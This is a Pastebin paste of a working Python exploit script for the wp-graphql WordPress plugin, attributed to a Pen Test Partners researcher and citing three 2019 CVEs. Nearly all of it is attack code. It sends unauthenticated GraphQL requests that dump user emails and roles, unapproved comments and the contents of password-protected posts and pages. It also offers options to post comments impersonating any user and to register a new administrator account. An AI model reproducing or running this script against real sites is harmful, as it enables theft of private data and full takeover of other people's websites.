SHARE
TWEET

0day

a guest May 22nd, 2019 206 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. #
  3. # Author: Simone Quatrini of Pen Test Partners
  4. # CVEs: 2019-9879, 2019-9880, 2019-9881
  5. # Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
  6. # https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
  7.  
  8. import argparse
  9. import requests
  10. import base64
  11. import json
  12. import sys
  13.  
  14. parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")
  15.  
  16. parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")
  17.  
  18. parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test")
  19.  
  20. parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin test@example.com MySecretP@ssword hax0r")
  21.  
  22. parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
  23.  
  24. args = parser.parse_args()
  25.  
  26.  
  27. def show_plugins(url, headers, verbose):
  28.         payload = {"query":"{plugins{edges{node{name,description,version}}}}"}
  29.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  30.         if response.status_code == 200 and 'node' in response.text:
  31.                 print "[+] Installed plugins:"
  32.                 parsed = json.loads(response.text)
  33.                 for i in parsed['data']['plugins']['edges']:
  34.                     print i['node']['name']+" "+i['node']['version']
  35.         else:
  36.                 print "\n[-] Error code fetching plugins: ", response.status_code
  37.          
  38.         if verbose:
  39.                 print(response.text)
  40.  
  41. def show_themes(url, headers, verbose):
  42.         payload = {"query":"{themes{edges{node{name,description,version}}}}"}
  43.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  44.         if response.status_code == 200 and 'node' in response.text:
  45.                 print "\n[+] Installed themes:"
  46.                 parsed = json.loads(response.text)
  47.                 for i in parsed['data']['themes']['edges']:
  48.                     print i['node']['name']+" "+str(i['node']['version'])
  49.         else:
  50.                 print "\n[-] Error code fetching themes: ", response.status_code
  51.          
  52.         if verbose:
  53.                 print(response.text)
  54.  
  55. def show_medias(url, headers, verbose):
  56.         payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"}
  57.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  58.         if response.status_code == 200 and 'node' in response.text:
  59.                 print "\n[+] Media items:"
  60.                 parsed = json.loads(response.text)
  61.                 for i in parsed['data']['mediaItems']['edges']:
  62.                     print "/wp-content/uploads/"+i['node']['mediaDetails']['file']
  63.         else:
  64.                 print "\n[-] Error code fetching media items: ", response.status_code
  65.          
  66.         if verbose:
  67.                 print(response.text)
  68.  
  69. def show_users(url, headers, verbose):
  70.         payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"}
  71.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  72.         if response.status_code == 200 and 'node' in response.text:
  73.                 print "\n[+] User list:"
  74.                 parsed = json.loads(response.text)
  75.                 for i in parsed['data']['users']['edges']:
  76.                     print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0]
  77.         else:
  78.                 print "\n[-] Error code fetching user list: ", response.status_code
  79.          
  80.         if verbose:
  81.                 print(response.text)
  82.  
  83. def show_comments(url, headers, verbose):
  84.         payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"}
  85.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  86.         if response.status_code == 200 and 'node' in response.text:
  87.                 print "\n[+] Comments list:"
  88.                 parsed = json.loads(response.text)
  89.                 for i in parsed['data']['comments']['edges']:
  90.                     print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content'])
  91.         else:
  92.                 print "\n[-] Error code fetching comments list: ", response.status_code
  93.          
  94.         if verbose:
  95.                 print(response.text)
  96.  
  97. def show_password_protected(url, headers, verbose):
  98.         payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"}
  99.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  100.         if response.status_code == 200 and 'node' in response.text:
  101.                 print "\n[+] Found the following password protected post(s):"
  102.                 parsed = json.loads(response.text)
  103.                 for i in parsed['data']['posts']['edges']:
  104.                     print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
  105.         else:
  106.                 print "\n[-] No password protected post found"
  107.  
  108.         if verbose:
  109.                 print(response.text)
  110.  
  111.         payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"}
  112.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  113.         if response.status_code == 200 and 'node' in response.text:
  114.                 print "\n[+] Found the following password protected page(s):"
  115.                 parsed = json.loads(response.text)
  116.                 for i in parsed['data']['pages']['edges']:
  117.                     print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
  118.         else:
  119.                 print "\n[-] No password protected page found"
  120.  
  121.         if verbose:
  122.                 print(response.text)
  123.  
  124.  
  125. def post_comment(url, headers, postID, userID, comment, verbose):
  126.         payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"}
  127.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  128.         if response.status_code == 200 and 'UWHATM8' in response.text:
  129.                 print "[+] Comment posted on article ID "+postID+""
  130.         else:
  131.                 print "\n[-] Error posting the comment. Check that postID and userID are correct"
  132.  
  133.         if verbose:
  134.                 print(response.text)
  135.  
  136. def register_admin(url, headers, email, password, username, verbose):
  137.         payload = {"query":"mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\""+email+"\",password:\""+password+"\",username:\""+username+"\",roles:[\"administrator\"]}){clientMutationId}}"}
  138.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  139.         if response.status_code == 200 and 'UWHATM8' in response.text:
  140.                 print "[+] New admin created. Login with "+username+":"+password
  141.         else:
  142.                 print "\n[-] Registrations are closed, can't proceed."
  143.  
  144.         if verbose:
  145.                 print(response.text)
  146.  
  147. def check_endpoint(url, headers):
  148.         payload = {'':''}
  149.         response = requests.post(url, data=json.dumps(payload), headers=headers)
  150.         if response.status_code == 200:
  151.                 print "[+] Endpoint is reachable\n"
  152.         else:
  153.                 print "\n[-] Endpoint response code: ", response.status_code
  154.                 sys.exit()
  155.                  
  156.  
  157.  
  158. url = args.url
  159. headers = {'Content-type': 'application/json', 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
  160. verbose = args.verbose
  161.  
  162.  
  163. # Only in case '--post-comment' is passed
  164. if args.comment:
  165.         postID, userID, comment = args.comment
  166.         check_endpoint(url, headers)
  167.         post_comment(url, headers, postID, userID, comment, verbose)
  168.         sys.exit()
  169.  
  170. # Only in case '--register-admin' is passed
  171. if args.register:
  172.         email, password, username = args.register
  173.         check_endpoint(url, headers)
  174.         register_admin(url, headers, email, password, username, verbose)
  175.         sys.exit()
  176.  
  177. # Default actions if only '--url' is passed
  178. show_plugins(url, headers, verbose)
  179. show_themes(url, headers, verbose)
  180. show_medias(url, headers, verbose)
  181. show_users(url, headers, verbose)
  182. show_comments(url, headers, verbose)
  183. show_password_protected(url, headers, verbose)
  184.  
  185. #  0day.today [2019-05-22]  #
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top